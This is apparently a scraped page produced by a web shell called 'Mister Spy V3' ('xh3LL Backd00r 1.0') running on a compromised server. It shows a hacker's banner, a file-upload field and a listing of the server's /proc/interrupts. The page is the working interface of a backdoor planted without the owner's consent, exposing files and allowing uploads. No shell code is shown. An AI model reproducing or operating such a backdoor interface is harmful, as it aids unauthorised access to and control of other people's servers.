Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /proc/
Upload File :
Current File : //proc/interrupts

           CPU0       CPU1       CPU2       CPU3       
  0:         53          0          0          0   IO-APIC   2-edge      timer
  1:          9          0          0          0   IO-APIC   1-edge      i8042
  4:          0          0       1278          0   IO-APIC   4-edge      ttyS0
  8:          0          0          0          0   IO-APIC   8-edge      rtc0
  9:          0          0          0          0   IO-APIC   9-fasteoi   acpi
 11:          0          0          0          0   IO-APIC  11-fasteoi   uhci_hcd:usb1, virtio6
 12:          0          0          0         15   IO-APIC  12-edge      i8042
 14:          0          0          0          0   IO-APIC  14-edge      ata_piix
 15:          0          0          0          0   IO-APIC  15-edge      ata_piix
 24:          0          0          0          0  PCI-MSIX-0000:00:06.0   0-edge      virtio4-config
 25:          0          0          0 1164037625  PCI-MSIX-0000:00:06.0   1-edge      virtio4-req.0
 26:          0          0          0          0  PCI-MSIX-0000:00:05.0   0-edge      virtio3-config
 27:          0          0          0          0  PCI-MSIX-0000:00:05.0   1-edge      virtio3-control
 28:          0          0          0          0  PCI-MSIX-0000:00:05.0   2-edge      virtio3-event
 29:    6071314          0          0          0  PCI-MSIX-0000:00:05.0   3-edge      virtio3-request
 30:          0    6289465          0          0  PCI-MSIX-0000:00:05.0   4-edge      virtio3-request
 31:          0          0    6426941          0  PCI-MSIX-0000:00:05.0   5-edge      virtio3-request
 32:          0          0          0    6460308  PCI-MSIX-0000:00:05.0   6-edge      virtio3-request
 33:          0          0          0          0  PCI-MSIX-0000:00:03.0   0-edge      virtio1-config
 34:      63031     714625   27975402  189799608  PCI-MSIX-0000:00:03.0   1-edge      virtio1-input.0
 35:  184087686   53887418   38700174       6680  PCI-MSIX-0000:00:03.0   2-edge      virtio1-output.0
 36:          0          0          0          0  PCI-MSIX-0000:00:04.0   0-edge      virtio2-config
 37:        166        226        260         16  PCI-MSIX-0000:00:04.0   1-edge      virtio2-input.0
 38:        143        250        254         14  PCI-MSIX-0000:00:04.0   2-edge      virtio2-output.0
 39:          0          0          0          0  PCI-MSIX-0000:00:07.0   0-edge      virtio5-config
 40:          0          0       1123          0  PCI-MSIX-0000:00:07.0   1-edge      virtio5-req.0
 41:          0          0          0          0  PCI-MSIX-0000:00:02.0   0-edge      virtio0-config
 42:    2182039    6249699    2873539     756621  PCI-MSIX-0000:00:02.0   1-edge      virtio0-control
 43:          0          0          0          0  PCI-MSIX-0000:00:02.0   2-edge      virtio0-cursor
NMI:          0          0          0          0   Non-maskable interrupts
LOC: 1011996936 1045891396 1055036527 1114218580   Local timer interrupts
SPU:          0          0          0          0   Spurious interrupts
PMI:          0          0          0          0   Performance monitoring interrupts
IWI:        105         70         78        118   IRQ work interrupts
RTR:          0          0          0          0   APIC ICR read retries
RES:    7080222    7683377    7944301    7172080   Rescheduling interrupts
CAL: 1097690692 1056369661 1013436677  594532813   Function call interrupts
TLB:   10780826   10625059   10157668    9415739   TLB shootdowns
TRM:          0          0          0          0   Thermal event interrupts
THR:          0          0          0          0   Threshold APIC interrupts
DFR:          0          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0          0   Machine check exceptions
MCP:       7316       7316       7316       7316   Machine check polls
ERR:          0
MIS:          0
PIN:          0          0          0          0   Posted-interrupt notification event
NPI:          0          0          0          0   Nested posted-interrupt event
PIW:          0          0          0          0   Posted-interrupt wakeup event

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat